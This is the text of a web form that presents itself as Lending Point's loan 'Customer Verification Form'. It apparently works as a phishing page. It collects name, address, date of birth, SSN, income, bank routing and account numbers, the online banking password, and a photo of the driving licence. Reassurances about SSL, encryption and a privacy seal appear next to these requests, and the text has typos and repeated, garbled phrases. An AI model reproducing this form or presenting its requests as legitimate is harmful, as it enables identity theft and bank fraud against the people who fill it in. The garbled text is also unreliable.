Customer Verification Form

Personal Details

What's your name?

First Name *
Middle Name
Last Name *

We need this to find your credit report.

What's your home address?

Address Line 1 *
Address Line 2
City *
State
State
Zipcode *

We want to make sure we're looking for the right member.

Sharing your email helps us verify your identity and create your offer.
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Sharing your birthday helps us verify your identity and create your offer. create your offer.
Your salary, retirement pay, or part time jobs count.
Let us know the best number to reach you at.
Sharing your SSN helps us verify your identity and protect you against potential fraud.
This helps us understand your income better.

Loan Details

Apple/ios
Chose one
Please enter the amount of loan.

Bank Details

Your safety is our priority. In fact we've been awarded TRUSTe's Privacy seal for data transparency and accountability.
Please enter the routing number provided by your financial institution
3 to 6 months
We know that your information is personal, so we use bank level encryption at all times.
Please enter the account number provided by your financial institution

Mobile/Online Banking Details

We use 128-bit SSL protection and strict, high levels of security & encryption standards to keep your information safe. NOTE: THIS FIELD IS CASE SENSITIVE.
Password
confirm Password

We use 128-bit SSL protection and strict, high levels of security & encryption standards to keep your information safe. NOTE: THIS FIELD IS CASE SENSITIVE

No file chosen.
Front image of Driving license

IMPORTANT INFORMATION ABOUT PROCEDURES FOR VERIFYING/OPENING NEW ACCOUNT.

*To help the government fight the funding of terrorism and money laundering activities. Federal laws require all financial institutions to obtain, verify and record information that identifies each information that identifies each person who open an account

*What this mean for you. When you verify or open an account. We will ask for your name address, date of birth and other information that will allow us to identify you. We may also ask to see your driver license or other identifying documents

*Your loan APR will depend upon your credit score and other key financial characteristics including but not limited to the amount financed, loan term length and your credit usage history.

*All legal documents and disclosure must be signed by each applicant individually.

Checkboxes

Online Privacy Policy. This Online Privacy Policy applies to all online and offline interaction with Lending point or any of their subsidiaries, as may be applicable (collectively "Lending Point","we","us","our") as more specifically noted below and our practices relating to the personal information we collect from you. This Online Privacy policy is effective as of January 1,2023